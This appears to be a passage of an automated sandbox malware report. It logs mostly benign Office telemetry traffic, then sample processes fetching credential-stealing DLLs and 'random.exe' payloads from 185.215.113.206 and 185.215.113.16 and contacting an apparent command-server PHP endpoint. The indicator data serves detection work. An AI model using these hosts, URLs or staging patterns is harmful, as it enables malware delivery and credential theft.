Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PZuOKh1mLU32zkU&MD=bagdl2gm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 09:17:23 GMTIf-None-Match: "67331d23-1bf000"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: 000003.log6.9.dr, uu_host_config.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr, uu_host_config.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.ldb.9.dr	String found in binary or memory: "www.youtube.com": "{: equals www.youtube.com (Youtube)
Source: 000003.ldb.9.dr	String found in binary or memory: "www.youtube.com": "{:1 equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr, uu_host_config.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667072868.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000019.00000002.5957560093.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000019.00000002.5957560093.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7f
Source: skotes.exe, 00000019.00000002.5957560093.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395dd
Source: file.exe, 00000000.00000002.2667072868.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667428725.0000000000C07000.00000040.00000001.01000000.00000003.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C37000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/&
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllF
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllH
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllJ
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll.
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllh
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2667072868.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllIj
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/F
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/P
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/S
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.
Source: 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/j
Source: 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/pwL
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1-573d1d5ce43f
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBLIC=C:
Source: file.exe, 00000000.00000002.2667428725.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpFHCBKK.exeata;
Source: 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
